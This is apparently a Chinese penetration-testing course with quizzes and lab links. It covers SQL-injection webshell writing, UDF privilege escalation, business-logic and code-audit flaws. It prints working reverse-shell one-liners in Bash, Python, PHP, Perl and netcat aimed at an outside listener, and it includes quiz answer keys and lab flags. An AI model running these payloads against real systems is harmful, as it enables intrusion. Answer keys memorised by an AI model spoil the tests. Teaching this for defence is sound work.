法律声明
(该课件仅用于信息防御技术教学 请勿用于其他用途)
脚本探测
XSS 漏洞成功后,渗透测试工程师能够对用户当前浏览的页面植入一些脚本,通过执行脚本,控制其他的浏览器。这些用以完成各种具体功能的脚本工具,被称为“XSS PayLoad”。
https://static-v.zhishibox.net/20210115/103872194.mp4|https://static.zhishibox.net/20210115/107065611.png
以下有关XSS说法正确的是|!XSS跨站脚本漏洞主要影响的是客户端浏览用户|XSS攻击又名跨站请求伪造|XSS是一种具有强攻击性的病毒|XSS是攻击者网Web页面插入恶意的html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到攻击者的目的,这种攻击属于主动式的安全攻击
权限控制
以管理员身份登录后台后,如何获取服务器权限?
https://static-v.zhishibox.net/20210115/106772339.mp4|https://static.zhishibox.net/20210115/100882507.png
渗透实战过程中哪些漏洞可以直接获取目标系统权限?|!命令注入|!任意文件上传|!文件包含|XSS
SQL注入漏洞如何获取系统权限
在MYSQL数据库下注入漏洞可以通过写WebShell、UDF提权、MOF提权等方式获取系统权限,Sqlserver数据库等可以通过数据库存储过程执行命令。 Oracle数据库可以通过数据库存储过程、Oracle数据库本身缺陷获取系统命令。
XXE漏洞如何获取系统权限
XXE漏洞在XXE解析器支持expect协议的情况下执行命令,当不支持该协议的情况下可以通过其他协议结合服务器本地或内网其他漏洞等获取权限,如通过gopher协议攻击未授权redis服务。
https://static-v.zhishibox.net/20210115/101690111.mp4|https://static.zhishibox.net/20210115/104602602.png
【练习】 先练习视频中讲解的sql注入获取数据信息;再在靶场内进行文件上传测试练习
文件上传练习|以文件上传漏洞获取服务器权限|http://47.106.80.112:8016/|
以下不属于获取网站真实路径的方法的是|phpinfo|报错信息|!sql注入点|网站配置信息
以下SQL注入语句分别对应着
|1'order by 10--+-=order by判断字段数量 |1'and sleep(3)#=时间延迟判断注入点 |1'union select 1,user(),2#=union注入出数据 |1'union select 1,2''into outfile '/var/www/html/uploaad/1.php'--+-=写入webshell提权
武器投递
实战均为本地项目,仅供用于学习红队演练,以攻促防。
SQL注入进行投递的条件:
当前数据库用户有文件写权限
知道绝对路径且可写入可执行
单双引号正常使用
通过SQL注入漏洞写入脚本文件,来达到获取服务器权限的目的。
http://video.twosecurity.cn/实战四/8写入webshell.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/38518000_1566894539.png
以下不属于MYSQL数据库SQL注入写入Webshell条件是?|有可写可执行的绝对路径|有MYSQL FILE权限|!单双引号能正常使用|必须支持多语句注入(堆叠注入)
【练习】在靶场内进行写入webshell练习
下面是一个SQL注入挑战,尝试完成此挑战以巩固技巧。
SQL注入综合练习|充分运用所学知识完成本次SQL注入练习|https://rimovni.exeye.run/hugkudure/hello|two{Il0ve_5tUdy_Up}
战术回顾
在练习靶场进行各种方式的学习,尝试使用多种方法达到我们的最终目的,以此锻炼自身实战能力,充分掌握SQL注入写webshell的流程,这是渗透测试的精髓所在。
https://static-v.zhishibox.net/20210115/101427740.mp4|https://static.zhishibox.net/20210115/100623487.png
将对应操作与渗透测试流程对应
|1'and sleep(3)--+-=漏洞发现 |删除webshell及日志=痕迹清理 |爆破子域名=信息收集 |1' union select 1,2,'' into outfile '/var/www/html/uploaad/1.php'--+-=漏洞利用
SQL注入综合练习|充分运用所学知识完成本次SQL注入练习|https://rimovni.exeye.run/idopendo/hello|two{d0nt_f1nd_mE}
大展身手
学习了两个实战场的演练,你是否已经掌握了渗透测试的基本功了呢?是否已经手痒痒想要实际运用一番了呢?
【注意】未经授权,不能进行渗透测试。详情请见 法律声明
在这里,我们为你提供了一整套仿真拟态训练场,你可以在这里大展身手。
大展身手训练场|还在等什么,快来大展身手吧|http://47.106.80.112:8235/|
法律声明

(该课件仅用于信息防御技术教学 请勿用于其他用途)
战术指导
第一个是通过SQL注入获取服务端数据数据库数据,解密管理员密码进入后台,通过后台任意文件上传漏洞获取服务端webshell,第二个通过XSS窃取管理员cookie信息并登录后台,并通过后台注入写入webshell的方式获得服务器权限。
通过弱口令获取服务器权限:
之前讲解的对目标进行四个维度的漏洞发现,包含哪四个维度?
https://static-v.zhishibox.net/20210115/101683100.mp4|https://static.zhishibox.net/20210115/104952620.png
利用IIS漏洞进行提权的工具是|桂林老兵|!中国菜刀|IISPUTScanner|一句话木马
在渗透测试中,包括四个维度的漏洞发现:
传统漏洞
利用通用漏洞
弱口令等目标脆弱点
代码审计
https://static-v.zhishibox.net/20210115/107626304.mp4|https://static.zhishibox.net/20210115/102838783.png
wiki系统
多人协作的写作系统,Wiki是一种在网络上开放且可供多人协同创作的超文本系统,这种超文本系统支持面向社群的协作式写作,同时也包括一组支持这种写作。作者将wiki定义为“一种允许一群用户用简单的描述来创建和连接一组网页的社会计算系统”。Wiki站点可以有多人(甚至任何访问者)维护,每个人都可以发表自己的意见,或者对共同的主题进行扩展与探讨。
以下属于MYSQL注入提权方式的是|!A.udf提权|!B.mof提权|!C.写webshell提权|D.xp_cmdshell提权
扫描目录
目录扫描工具:
御剑 WebPathBrute owasp dirbrute Burp suite等等
基本上这些工具都是基于字典完成对目录文件的扫描,也就是说,当年有一个很完整、高效的字典的时候,工具的差别也就很小了。https://static-v.zhishibox.net/20210115/105274624.mp4|https://static.zhishibox.net/20210115/103048149.png
https://github.com/Xyntax/DirBrute
phpmyadmin
phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。借由此Web接口可以成为一个简易方式输入繁杂SQL语法的较佳途径,尤其要处理大量资料的汇入及汇出更为方便。其中一个更大的优势在于由于phpMyAdmin跟其他PHP程式一样在网页服务器上执行,但是您可以在任何地方使用这些程式产生的HTML页面,也就是于远端管理MySQL数据库,方便的建立、修改、删除数据库及资料表。也可借由phpMyAdmin建立常用的php语法,方便编写网页时所需要的sql语法正确性。 当发现一个phpmyadmin页面时,我们可以先尝试一些简单的用户名密码进行登录,比如用户名为root(默认的root用户)、admin,密码为root、pass、password、passwd、123456等等。不行再尝试使用一些phpmyadmin爆破工具进行登录。
简单的弱口令往往不会引起人们的注意,因此我们不要放过每一个可能的机会。
在渗透测试实际的过程中,我们也可以通过社工信息收集的手段,获取目标的一些信息,然后通过这些信息来组建针对性的密码爆破字典,使用更多有针对性的密码爆破规则去构建字典,然后拿这种字典进行密码爆破,这样可以大大地提高我们的爆破效率。社工: 社会工程学,是一种通过人际交流的方式获得信息的非技术渗透手段。不幸的是,这种手段非常有效,而且应用效率极高。事实上,社会工程学已是企业安全最大的威胁之一。
通过目录扫描发现phpmyadmin页面,通过弱口令成功登录phpmyadmin,获得管理数据库的权限,这种情况下如何提权?https://static-v.zhishibox.net/20210115/106526192.mp4|https://static.zhishibox.net/20210115/105588866.png
思考:本节课我们的环境和上节课的SQL注入有什么不同点呢?
一般情况下,攻击者对目标网络进行扫描的顺序是|地址扫描-->漏洞扫描-->端口扫描|端口扫描-->漏洞扫描-->地址扫描|端口扫描-->地址扫描-->漏洞扫描|!地址扫描-->端口扫描-->漏洞扫描
这种情况下,不同点有:第一,权限不同,本次使用的是root权限,相当于mysql的最高权限。第二,可以通过phpmyadmin执行任意的SQL语句,而SQL注入的方式往往会遇到各种阻碍。
https://static-v.zhishibox.net/20210115/103097748.mp4|https://static.zhishibox.net/20210115/107312460.png
还可以通过phpmyadmin配置日志的方式获取webshell。
MYSQL是一个()|多用户单进程的SQL数据库服务器|!多用户进程的SQL数据库服务器|单用户多进程的SQL数据库服务器|单用户单进程的SQL数据库服务器
general log 和 general log file,日志记录SQL查询的一些记录,它本身默认是在../data目录下,可以通过修改该目录位置并将状态改为 ON。 再去执行SQL语句,语句中包含webshell的内容,以此达到写入 webshell 的效果。
https://static-v.zhishibox.net/20210115/109278932.mp4|https://static.zhishibox.net/20210115/109265630.png
扫描目录训练|通过所学知识,进行对该站点的目录扫描|http://47.106.80.112:8022/|
UDF提权
UDF (Userdefined function) 是用户自定义函数,MySQL为用户提供的一个扩展功能的接口。用户可以通过编写代码的方式编译成 .so .dll 文件,使用自定义的函数。UDF 提权的条件:
- 需要MySQL高于5.1的版本
- .so .dll 文件必须放在MySQL的plugin目录下
.so 文件 在linux中,用户层的动态库文件。 .dll 文件 库文件即DLL(Dynamic Link Library)文件,是动态链接库文件,又称“应用程序拓展”,是软件文件类型。在Windows中,许多应用程序并不是一个完整的可执行文件,它们被分割成一些相对独立的动态链接库,即DLL文件,放置于系统中。当我们执行某一个程序时,相应的DLL文件就会被调用。一个应用程序可使用多个DLL文件,一个DLL文件也可能被不同的应用程序使用,这样的DLL文件被称为共享DLL文件。
https://github.com/mysqludf/lib_mysqludf_sys
https://static-v.zhishibox.net/20210115/106780928.mp4|https://static.zhishibox.net/20210115/106674041.png
UDF提权的条件是|!能向plugin目录写入so文件|!支持多语句注入|必须是root权限|!有create function权限
redis提权
利用其服务端的程序的配置问题或漏洞来进行提权。NC概述:
又被称做网络安全中的“瑞士军刀”。一个简单且有用的工具,通过使用TCP或UDP协议的网络连接去读写数据。它被设计成一个稳定的网络连接工具,能够直接由其它程序和脚本轻松驱动。同时,它也是一个功能强大的网络调试和探测工具,能够建立你需要的几乎所有类型的网络连接,还附有几个内置功能。
Windows下的NetCat|https://github.com/diegocr/netcat
参数介绍
nc.exe -h //即可看到各参数的使用方法。基本格式: nc [-options] hostname port[s] [ports] ...nc -l -p port [options] [hostname] [port]
参数|作用 -d|后台模式 -e prog|程序重定向,一旦连接就执行 -g<网关>|设置路由器跃程通信网关,最多可设置8个 -G<指向器数目>|设置来源路由指向器,其数值为4的倍数 -h|帮助信息 -i<延迟秒数>|设置时间间隔,以便传送信息及扫描通信端口 -l|监听模式,用于入站连接,管控传入的数据 -L|连接关闭后,仍然继续监听 -n|直接使用IP地址,而不通过域名服务器 -o<输出文件>|指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存 -p<通信端口>|设置本地主机使用的通信端口 -r|随机指定本地与远端主机的通信端口 -s <来源地址>|设置本地主机送出数据包的IP地址 -t|使用TELNET交互方式 -u|UDP模式 -v|显示指令执行过程 -w <超时秒数>|设置等待连接的时间 -z|将输入输出关掉,只在扫描通信端口时使用
端口的表示方法可写为 M-N 的范围格式。
Windows下:
- 正向连接
服务器执行:nc -l -p 8888 -e cmd.exe 本地主机执行:nc -vv 服务器ip 8888
- 反向连接
服务器执行:nc -e cmd.exe 公网ip 8888 公网主机执行:nc -lvp 8888
几种使用方法:
连接到远程主机命令:
nc -nvv Targert_IP Targert_Port
监听本地主机命令:
nc -l -p Local_Port
端口扫描
扫描指定主机的单一端口是否开放命令:
nc -v target_IP target_Port
扫描指定主机的某个端口段的端口开放信息命令:
nc -v -z Target_IP Target_Port_Start - Target_Port_End
扫描指定主机的某个UDP端口段,并且返回端口信息命令:
nc -v -z -u Target_IP Target_Port_Start - Target_Port_End
扫描指定主机的端口段信息,并且设置超时时间为3秒命令:
nc -vv(-v) -z -w time Target_IP Target_Port_Start-Targert_Port_End
端口监听
监听本地端口命令:
nc -l -p local_Port
注:先设置监听(不能出现端口冲突),之后如果有外来访问则输出该详细信息到命令行
监听本地端口,并且将监听到的信息保存到指定的文件中命令:
nc -l -p local_Port > target_File
连接远程系统命令:
nc Target_IP Target_Port //之后可以运行HTTP请求
FTP匿名探测命令:
nc Targert_IP 21
文件传输
传输端命令:
nc Targert_IP Targert_Port < Targert_File
接收端命令:
nc -l Local_Port > Targert_File
通信
本地主机命令:
nc -l 8888
远程主机命令:
nc Targert_IP Targert_Port
获取shell
获取shell分为两种,一种是正向shell,一种是方向shell。 如果客户端连接服务器端,想要获取服务器端的shell,那么称为正向shell,如果是客户端连接服务器,服务器端想要获取客户端的shell,那么称为反向shell
正向shell
本地主机命令:
nc Targert_IP Targert_Port
目标主机命令:
nc -lvp Targert_Port -e /bin/sh
反向shell
本地主机命令:
nc -lvp Target_Port
目标主机命令:
nc Targert_IP Targert_Port -e /bin/sh
特殊场景
在一般情况下,目标主机上一般都是不会有Netcat的,此时就需要使用其他替代的方法来实现反向连接达到攻击主机的目的,下面介绍几种反向shell的设置。
python反向shell
本地主机:
nc -lvp 5555
目标主机端执行语句:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.11.144",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
PHP反向shell
本地主机:
nc -lvp 5555
目标主机端执行语句:
php -r '$sock=fsockopen("192.168.11.144",5555);exec("/bin/sh -i <&3 >&3 2>&3");'
Bash反向shell
本地主机:
nc -lvp 5555
目标主机端执行语句:
bash -i>&/dev/tcp/192.168.11.144/5555 0>&1
Perl反向shell
本地主机:
nc -lvp 5555
目标主机端执行语句:
perl -e 'use Socket;$i="192.168.11.144";$p=5555;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
http://video.twosecurity.cn/%E5%AE%9E%E6%88%98%E4%BA%94/4.1%E5%8F%8D%E5%BC%B9shell.mp4|http://wechatapppro-1252524126.file.myqcloud.com/image/ueditor/84190500_1578619742.png
以下不是通过redis提权的条件是|redis未授权访问|redis以root权限运行|redis端口能被访问|!redis端口必须是6379
获取反向shell之后,我们需要先了解服务器版本信息。
https://static-v.zhishibox.net/20210115/108503984.mp4|https://static.zhishibox.net/20210115/104623834.png
什么是 Redis ?
redis是一个高性能的 key-value 数据库,它是完全开源免费的,而且redis是一个NOSQL类型数据库,是为了解决高并发、高扩展,大数据存储等一系列的问题而产生的数据库解决方案,是一个非关系型的数据库。但是,它也是不能替代关系型数据库,只能作为特定环境下的扩充。支持的数据结构类型包括:字符串(String)、链表(lists)、哈希表(hash)、集合(set)、有序集合(Zset)等。为了保证读取的效率,redis把数据对象都存储在内存当中,它可以支持周期性的把更新的数据写入磁盘文件中。而且它还提供了交集和并集,以及一些不同方式排序的操作。 由于Redis是root权限启动的,由于一些配置不当的问题,导致提权漏洞的产生。
提权大致分为几种,下列属于数据库提权的有|exp提权|!udf提权|!Mof提权|Windows提权
shell提权
拥有写文件的权限,并且可以控制文件名,可以通过写入webshell来获取权限。https://static-v.zhishibox.net/20210115/105569747.mp4|https://static.zhishibox.net/20210115/105967180.png
普通上传webshell的步骤
|第一步=进入后台,寻找上传点 |第二步=尝试正常的上传 |第三步=木马上传 |第四步=使用菜刀连接
战术回顾
从漏洞的发现到利用,通过各种方式去尝试,培养自己的渗透测试思路。
https://static-v.zhishibox.net/20210115/103774956.mp4|https://static.zhishibox.net/20210115/108414742.png
用户注册后有些网站可以上传图片、附件、文件、压缩包等,可以利用上传拿 WebShell ,下面有一个的思路,请将它整理清楚。
头像上传拿WebShell
|1=正常上传一个头像并抓包 |2=将数据包中图片的内容部分删掉 |3=将大马放在文件夹中压缩成压缩文件(zip) |4=重新写入文件内容,将压缩文件写入到原本图片的位置 |5=上传之后返回包中得到绝对路径
大展身手
学习了那么多关于渗透测试的知识,你是否真的消化理解透彻了呢?快来实际操作一番吧。大展身手训练场|通过前面的学习,相信你已经初步了解了渗透测试,快来大展身手吧|http://47.106.80.112:8623/|
法律声明

(该课件仅用于信息防御技术教学 请勿用于其他用途)
业务逻辑漏洞
对一个网站进行渗透测试,业务逻辑漏洞存在的BUG太多了,而这种漏洞往往需要人工安全审计进行检测。逻辑漏洞也是一种重要的漏洞,有时候威胁大到影响服务器的运行。
https://static-v.zhishibox.net/20210115/108348025.mp4|https://static.zhishibox.net/20210115/101495399.png
验证码的验证机制相对恰当的是|!验证码写在cookie中|验证一次,永久使用|验证码存在session中,并定时删除|验证码与图片存在对应关系
什么是业务逻辑漏洞
逻辑漏洞是指由于程序逻辑不严或逻辑太复杂,而导致一些逻辑分支不能够正常处理或处理错误。 一般有以下几种情况:密码找回 任意密码修改(没有旧密码验证) 越权访问 API调用 交易支付过程 ......
https://static-v.zhishibox.net/20210115/108165148.mp4|https://static.zhishibox.net/20210115/105811088.png
【思考】传统漏洞可以从哪三个方面进行漏洞防护?
有关对cookie的处理,错误的是|对cookie进行严格的加密算法,并管理好秘钥|!将用户信息存储在cookie中|cookie中设置session参数,防止cookie长时间使用|!使用简单数值设置cookie
薅羊毛
【思考】“薅羊毛“是业务逻辑漏洞吗?
指以年轻人为主的群体对各类商家开展的一些优惠活动产生了浓厚兴趣,并专门出现了这样一批人,搜集各个银行等金融机构及各类商家的优惠信息,在网络和朋友圈子中广为传播,这种行为被称作薅(hāo)羊毛。
https://static-v.zhishibox.net/20210115/102165674.mp4|https://static.zhishibox.net/20210115/102488388.png
薅羊毛可能是利用业务逻辑漏洞实现的,也可能不是。
为什么我们需要及时修复计算机操作系统和软件的漏洞?|操作系统关闭自动更新,不更新就不会占用网络带宽|!计算机系统或者软件系统的缺陷就是漏洞,病毒和恶意软件可以通过漏洞趁虚而入|操作系统漏洞补丁及时升级,软件漏洞补丁没有必要及时修复升级|计算机存在免疫性,以前经常感染病毒的机器,现在就不会有漏洞了
漏洞分类
业务逻辑漏洞存在的场景主要有:- 用户注册场景 登录场景 支付场景 修改资料场景 信息交互场景 绑定手机场景
https://static-v.zhishibox.net/20210115/103946515.mp4|https://static.zhishibox.net/20210115/104761846.png
业务逻辑漏洞没有一种统一的分类,这里所讲到的并不能完全概括所有方方面面的业务逻辑漏洞,本节课为大家提供的是业务逻辑漏洞的基础,为大家以后深入学习打下基础,需要在今后的学习中和渗透测试项目中逐渐完善自己的知识。
以下有关业务流程正确的是|每个人的支付二维码可以一直使用|用户权限以一个数值来判断|修改信息提交后未对修改的用户进行验证|!每一次请求都需要验证验证码是否正确,超时需要重新验证
权限控制
两种越权的比较:
平行越权访问漏洞,指的是权限平级的两个用户之间的越权访问。 垂直越权访问漏洞,指的是权限不等的两个用户之间的越权访问。
https://static-v.zhishibox.net/20210115/106438226.mp4|https://static.zhishibox.net/20210115/104136051.png
活动类漏洞有哪些潜在安全问题|重放攻击|流程绕过|数据篡改|!以上全是
平行越权
什么是平行越权?
一个正常的用户a通常只能对自己的信息进行修改,但由于系统为对信息修改进行一个判断,判断当前操作是否属于对应的用户的操作,导致用户a可以操作其他人的信息。
https://static-v.zhishibox.net/20210115/101780034.mp4|https://static.zhishibox.net/20210115/107711509.png
平行越权漏洞的防护
增加访问与操作对象的用户属性,在对目标对象进行访问与操作时,服务端校验会话与对象的用户属性,在校验通过后才能执行读取和操作。
垂直越权
什么是垂直越权?
在博客论坛中,一个正常的普通用户a,通过burpsuite抓包修改自己的用户ID为管理员的用户ID,使其成功登录了管理员的帐号。
https://static-v.zhishibox.net/20210115/101217600.mp4|https://static.zhishibox.net/20210115/106173562.png
垂直越权漏洞的防护
所有访问采取默认拒绝机制,采取基于角色访问控制,对于各个功能的访问,规定不同角色拥有不同的访问权限,当用户在使用该功能时,系统要校对用户的权限和访问控制机制是否与规定相同,通过校对者才能使用,否则拒绝使用该功能。
接口控制
什么是接口控制?
在博客论坛中,一个正常的普通用户a使用官方提供的API接口构造链接,用户b通过点击该链接后进行发送或转发用户a指定的内容。
https://static-v.zhishibox.net/20210115/103788274.mp4|https://static.zhishibox.net/20210115/108702283.png
接口类漏洞大多数都是因为接口没有做验证或者其他预防机制,导致被攻击者所利用,比如一些下载链接接口导致未授权下载,登录接口无验证导致撞库等等。
总结
相比SQL注入、XSS漏洞等传统安全漏洞,现在的攻击者更倾向于利用业务逻辑层的应用安全问题,这类问题往往危害巨大,并且传统的安全防御设备和措施收效甚微。
http://static-v.zhishibox.net/2021310_qiniu_52562091855ee086b8e36d8a8d64f7f5.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/57649700_1566974486.png
越权漏洞修复建议
- 基础安全架构,完善用户权限体系。要知道哪些数据对于哪些用户,哪些数据不应该由哪些用户操作 鉴权,服务端对请求的数据和当前用户身份做校验 不要直接使用对象的实名或关键字 对于可控参数进行严格的检查与过滤
有关交易业务逻辑漏洞的修复,正确的是|!充分考虑流程和数据的防泄漏、防篡改、防重放等问题|所以验证及限制都在客户端进行|!对客户端提交的信息进行过滤或验证|!对关键参数在服务端生成或进行二次校验
法律声明

(该课件仅用于信息防御技术教学 请勿用于其他用途)
密码找回逻辑漏洞
正常逻辑,重置密码、密码找回需要如下三个条件:- 用户名 身份证号码 手机短信验证码
然而某些验证不严密的,身份证号码和手机短信验证码均可绕过,只需要知道用户名就可以重置任意用户密码
https://static-v.zhishibox.net/20210115/105796413.mp4|https://static.zhishibox.net/20210115/102232120.png
密码找回的大致流程
|第一步=验证用户 |第二步=找回方式 |第三步=验证提交信息 |第四步=重置密码
凭证破解
凭证是验证用户身份的标识,如果凭证验证环节出现了问题,将会导致很多安全隐患。https://static-v.zhishibox.net/20210115/102272112.mp4|https://static.zhishibox.net/20210115/106904824.png
用户认证|尝试寻找用户认证漏洞|https://untitled-tthv7pk5xegg.runkit.sh/index?|two{user_two_secret}
凭证验证处理恰当的有()|凭证简单易破解|凭证重复使用|!凭证加密且唯一|!凭证回显
弱token
一般都是找回密码链接处对用户标识比较明显,弱token能够轻易伪造和修改。https://static-v.zhishibox.net/20210115/109045926.mp4|https://static.zhishibox.net/20210115/106299307.png
下列有关token说法错误的是|可以避免CSRF|Token可以是无状态的,可以在服务间共享|Token是在服务端生成的|!可以不设有效期
前端校验
在前端进行验证,相当于没有进行任何防范措施,比如登陆状态如果只以登陆状态码进行判断登陆成功标识,那么修改登陆状态码就能进行登录。https://static-v.zhishibox.net/20210115/107648646.mp4|https://static.zhishibox.net/20210115/103544020.png
下列关于前端验证说法正确的是|前端验证不会被绕过|!把验证放在前端会造成各种安全隐患|短信验证码可在前端回显|图形验证码可以在前端验证
步骤可跳过
通过跳过某些关键步骤来达到修改别人密码的目的。https://static-v.zhishibox.net/20210115/106185986.mp4|https://static.zhishibox.net/20210115/108196358.png
实现找回密码步骤跳过
|1=输入账户和验证码,进入下一步 |2=获取对应的用户标识 |3=访问设置新密码的页面,并带上刚才的用户标识 |4=成功进行重置密码
逻辑漏洞小结
测试业务的时候,先了解清楚业务整体流程,可以利用思维导图快速理清各个业务之间的关系,也可以通过查看 JS 了解(JS 中可能会存在信息泄漏)https://static-v.zhishibox.net/20210115/100043304.mp4|https://static.zhishibox.net/20210115/106065789.png
未授权访问|尝试寻找用户认证漏洞|https://untitled-0on9w2imekga.runkit.sh/login?|two{i_like_cookie}
以下关于安全漏洞的说法不正确的有|!软件是产生安全漏洞的唯一载体|安全漏洞是所有系统都存在的弱点,没有绝对安全的系统|安全漏洞可能存在软件或系统配置过程中产生|安全漏洞可能存在软件的设计开发过程中产生
支付逻辑漏洞
- 支付漏洞主要涉及四个方面 支付过程中可以直接修改数据包中的支付金额 没有对购买数量进行负数限制 请求重放 参数干扰
https://static-v.zhishibox.net/20210115/107551731.mp4|https://static.zhishibox.net/20210115/101590492.png
安全软件提醒你的电脑有系统漏洞,最恰当的做法是?|不予理睬,继续工作|不重要,暂时搁置|关闭提醒|!立即更新补丁,修复漏洞
支付金额
这种漏洞应该是支付漏洞中最常见的。开发人员往往会为了方便,直接在支付的关键步骤数据包中直接传递需要支付的金额。而这种金额后端没有做校验,传递过程中也没有做签名,导致可以随意篡改金额提交,只需要抓包看到有金额的参数修改成任意即可。https://static-v.zhishibox.net/20210115/100129756.mp4|https://static.zhishibox.net/20210115/104324327.png
在网络安全中,未公开进行修复的漏洞叫什么?|os漏洞|waf漏洞|黑客漏洞|!0day漏洞
支付数量
这中案例也比较常见,产生的原因是开发人员没有对购买的数量参数进行严格的限制。这种同样是数量的参数没有做签名,导致可随意修改,经典的修改方式就是改成负数。 当购买的数量是一个负数时,总额的算法依然是“购买数量×单价=总价”。所以这样就会导致有一个负数的支付金额。若支付成功,则可能导致购买到了一个负数数量的产品,也有可能返还相应的价钱到你的帐户上。https://static-v.zhishibox.net/20210115/103689661.mp4|https://static.zhishibox.net/20210115/108577471.png
Metasploit的说法错误的是|是一款开源安全漏洞检测工具|!可扫描是否存在0day漏洞|可进行SSH服务器扫描|集成了载荷生成器、载荷编码器、空指令生成器的功能
并发逻辑漏洞
并发漏洞主要是测试服务器是否会响应多次的请求。 比如,一个签到积分活动,我们拦截下签到的请求包,复制该请求n个,然后全选一并发送,查看响应结果,如果全部为200ok,观察积分是否多出很多,以此来检测是否存在并发逻辑漏洞。https://static-v.zhishibox.net/20210115/105242704.mp4|https://static.zhishibox.net/20210115/108956755.png
众所周知,ping命令会向目标发送几个请求包,默认的间隔时间为?|!1s|5ms|10ms|100ms
优惠券逻辑漏洞
通过遍历获取大量优惠券,在前端页面更改参数导致查询结果出错,生成新的优惠券。https://static-v.zhishibox.net/20210115/107079995.mp4|https://static.zhishibox.net/20210115/107383944.png
以下说法正确的是|扫描器可以直接攻击网络漏洞|!MS12-020是一种远程溢出型攻击漏洞|对于漏洞引起的病毒攻击,应该先杀杀毒后打补丁|所有的漏洞都是可以通过打补丁来弥补的
回顾总结
让事物以迥异于初衷的方式运作
挖掘任何的安全漏洞,我们都应该有这样的想法,就是要不断地尝试,改变事物原本的运作方式,让它不用正常的方式运行,导致安全问题的产生。https://static-v.zhishibox.net/20210115/108095003.mp4|https://static.zhishibox.net/20210115/101411622.png
挖掘逻辑漏洞时,需要进行前后功能逻辑上的关联,需要不断地尝试,才会有意想不到的收获。
在Windows 的命令行窗口输入()8.8.8.8,得到下所示的运行结果。1 3 ms 1 ms * 192.168.0.1 2 1 ms 5 ms 4 ms 192.168.1.1 3 7 ms 6 ms 4 ms 100.64.0.1 4 * 5 ms * 220.167.85.213 5 7 ms 8 ms 9 ms 172.28.23.81 6 30 ms 32 ms 34 ms 202.97.65.197 7 34 ms 31 ms * 202.97.94.122 8 44 ms 44 ms * 202.97.12.25 9 43 ms 46 ms 46 ms 202.97.95.170 10 * * * 请求超时|ipconfig|ping|nslookup|!tracert
法律声明

(该课件仅用于信息防御技术教学 请勿用于其他用途)
代码审计原理
检查源代码中的安全缺陷,检查程序源代码是否存在安全隐患,或者有编码不规范的地方,通过自动化工具或者人工审查的方式,对程序源代码逐条进行检查和分析,发现这些源代码缺陷引发的安全漏洞,并提供代码修订措施和建议。https://static-v.zhishibox.net/20210115/106772428.mp4|https://static.zhishibox.net/20210115/104725679.png
代码审计是什么?|编译运行代码|代码美化、格式化|!分析代码缺陷|!优化代码,去除冗余代码
基本思路
主要由三个方面组成:- 关键词 功能 通读代码
https://static-v.zhishibox.net/20210115/102526524.mp4|https://static.zhishibox.net/20210115/109586191.png
如何验证php strcmp() 漏洞?|提交哈希值是以"0E"开头的值|提交两个相等的值|提交参数为字符串类型|!提交参数为数组或一个object即可
关键词
对一些存在漏洞的关键函数名进行定向筛选。https://static-v.zhishibox.net/20210115/100720980.mp4|https://static.zhishibox.net/20210115/102706017.png
漏洞关键词
|getParamter、<%\=、param=XSS |Select 、from 、delete 、update、insert=SQL注入 |Upload、write、fileName 、filePath=文件上传 |DocumentBuilder、XMLStreamReader、SAXBuilder、SAXParserSAXReader、XMLReader=XML注入 |eval、system、exec=代码执行
功能
对可能存在漏洞的相关功能进行审计,常见的有:
-
程序初始安装
站点信息泄漏
文件上传
文件管理
登陆认证
数据库备份恢复
找回密码
验证码
https://static-v.zhishibox.net/20210115/109009031.mp4|https://static.zhishibox.net/20200118/25959900_1568613014.png
上传文件功能
只要是能上传的地方,就都可能存在漏洞。常见的就两种:
- 格式没有限制,或者过滤不完善,导致各种任意文件上传。
- 文件名没有进行sql注入检测,很多程序员会忘记这一点,导致sql注入。因为文件名也是要存到数据库中的。
文件管理功能
如果程序员在开发中,直接将文件名或者文件路径在参数中传递,那么就可能导致攻击者利用../或者..\来进行跳转目录达到任意文件操作,比如任意文件读取。 另外,直接用文件名或者文件路径在参数中传递,还可能导致xss,因为程序可能需要在页面中输出文件名字,这个时候,若文件名字也没有过滤,那么就会存在xss攻击。
登录认证功能
登录认证功能不是指一个登录过程,而是整个操作过程中的认证。而现在认证又是基于cookie和session,程序又经常会把用户账号等认证信息放到cookie中,来保持用户可以长时间登录,不会因为session超时或者关闭浏览器就退出用户。但是,如果这段cookie没有进行加密,就会导致任意用户登录的漏洞,只需要知道用户的部分信息即可登录。
找回密码功能
找回密码的时候,有的网站做的不好,改密码不用填写旧密码,直接改,然后给用户发送验证码,但是由于验证码是纯数字,而且,如果验证码时间过长,那么就会被爆破出来。
定向对功能分析,下列错误的是|根据程序业务逻辑进行代码审计|对目标站点进行逐个访问浏览,观察有哪些功能|!对源代码进行通读,找出有哪些功能|如果存在登录认证功能,则定向审计源码中登录相关的代码段及其调用函数
通读代码
通读全文发作为一种最麻烦的方法也是最全面的审计方法,但是该方法也是一种必要的方法。 了解整个应用的业务逻辑,才能挖掘到更多更有价值的漏洞。https://static-v.zhishibox.net/20210115/102104100.mp4|https://static.zhishibox.net/20210115/108346618.png
首先,通读代码是为了把握大局,其次根据定向功能针对每一项功能进行审计,最后就是敏感函数参数回溯了。 若是想快速找到漏洞,那么就根据危险函数回溯到变量,去进行审计。 若是想找到“精彩”的漏洞,那就要通读全文,理解逻辑。
通读技巧:
